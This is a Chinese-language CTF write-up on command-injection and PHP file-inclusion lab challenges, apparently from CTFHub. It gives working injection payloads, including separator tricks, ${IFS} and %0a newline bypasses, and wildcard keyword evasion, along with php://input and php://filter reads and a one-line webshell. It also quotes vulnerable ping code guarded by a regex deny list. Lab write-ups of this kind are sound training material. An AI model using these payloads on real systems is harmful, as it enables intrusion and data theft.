刚看完rce知识点做一下题,巩固一下、
直接命令执行就行
一般这种需要ping的都要用到管道符之类的,然后前面是数字 后面ls就行
cat flag然后,查看源码获得flag
“;”:执行完前面的语句再执行后面的语句。
“|”:显示后面语句的执行结果。
“||”:当前面的语句执行出错时,执行后面的语句。
“&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
“&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
换成tac more less等等,文章中有具体的,和上题一样
空格换成,${IFS}绕过
1;tac${IFS}flag_14680194475907.php
我觉得就是过滤了 ls后面的 ../这个
继续查看目录,
发现 flag_is_here没有后缀,应该是一个文件需要查看里面,但是../过滤,不能看根目录,可以用cd目录
1;cd flag_is_here;cat flag_14398662425560.php
1;cd flag_is_here;cat flag_14398662425560.php获得flag
- if (isset($_GET['ip']) && $_GET['ip']) {
- $ip = $_GET['ip'];
- $m = [];
- if (!preg_match_all("/(\||\&)/", $ip, $m)) {
- $cmd = "ping -c 4 {$ip}";
- exec($cmd, $res);
- } else {
- $res = $m;
- }
- }
- ?>
%0a,%0d都可以绕过,这道题没过滤;所以直接分号就出来了‘
if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
其实就是把前面过滤的合起来了
?ip=1%0als%0acd${IFS}fla*%0als
?ip=1%0als%0acd${IFS}fla*%0atac${IFS}fla*.php
因为flag被过滤,用*就可以了
strpos函数,是判断串2是否在串1存在
这道题应该是串1不存在flag,然后执行include,包含shell中的一句话木马
超链接,然后进行建蚁链接得到flag
php:// — 访问各个输入/输出流(I/O streams)
php://input 是个可以访问请求的原始数据的只读流.
可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的
靶场环境,需要 php://
首先
需要把get请求改成post请求,然后cat得到flag
本来试了一下上传一句话木马,发现可以链接但是不能获得数据
和上题一样,还可以使用php://input通过
还是一样的代码,需要php://开头,但是尝试了 php://input不成功,可能是环境变量开关问题,然后用filter读取就可以了
提示在根目录
/?file=php://filter/read=convert.base64-encode/resource=/flag
到此结束啦,day day up